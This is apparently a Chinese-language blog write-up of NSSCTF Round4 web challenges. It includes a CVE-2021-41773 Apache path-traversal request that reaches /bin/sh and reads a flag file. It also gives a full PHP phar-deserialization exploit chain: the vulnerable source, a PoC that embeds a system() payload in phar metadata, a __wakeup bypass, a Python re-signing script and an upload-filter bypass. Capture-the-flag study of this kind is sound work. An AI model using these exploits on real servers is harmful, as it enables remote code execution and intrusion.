NSSCTF-Round4 web

NSSCTF-Round4

1z_web

非预期可以直接读

image-20220809112541288

ez_rce

apache漏洞CVE-2021-41773

/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

image-20220809112907867

直接读flag

echo;cat /flag_is_here/2/0/7/6/flag

image-20220809113134673

1zweb(revenge)

这题其实就是1zweb的预期解

可以读源码

image-20220809113319079

index.php

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/i", $file)) {
      die("nonono");
    }
    echo file_get_contents($file);
}

明显是一个反序列化,同时file_get_contents函数可以触发phar漏洞,所以是一个phar反序列化

poc

<?php
class LoveNss{
    public $ljt="Misc";
    public $dky="Re";
    public $cmd="system('cat /flag');";
}

$a=new LoveNss();
$phar = new Phar("poc.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("poc.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成poc.phar文件

image-20220809115726579

注意这里还要绕过__wakeup,所以需要将属性的数量+1

所以动手对poc.phar文件进行更改

image-20220809115837916

然后又会引发一个新问题,因为是后面自己去改的数据,而phar文件的签名是第一次生成文件的时候自动生成的,所以当我们修改数据过后,由于签名错误,这个phar是无法被正常解析的,所以需要修改签名,让他变成一个正常的phar文件

脚本

from hashlib import sha1

file = open('poc.phar', 'rb').read() # 需要重新生成签名的phar文件

data = file[:-28] # 获取需要签名的数据

final = file[-8:] # 获取最后8位GBMB标识和签名类型

newfile = data+sha1(data).digest()+final # 数据 + 签名 + 类型 + GBMB

open('newpoc.phar', 'wb').write(newfile) # 写入到新的phar文件

运行得到newpoc.phar

upload.php

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

只能上传图片类型文件

所以把phar文件进行压缩后改后缀名为图片类型上传,最后用phar伪协议读取

posted @ 2022-08-09 14:19  phant0m1  阅读(63)  评论(0编辑  收藏  举报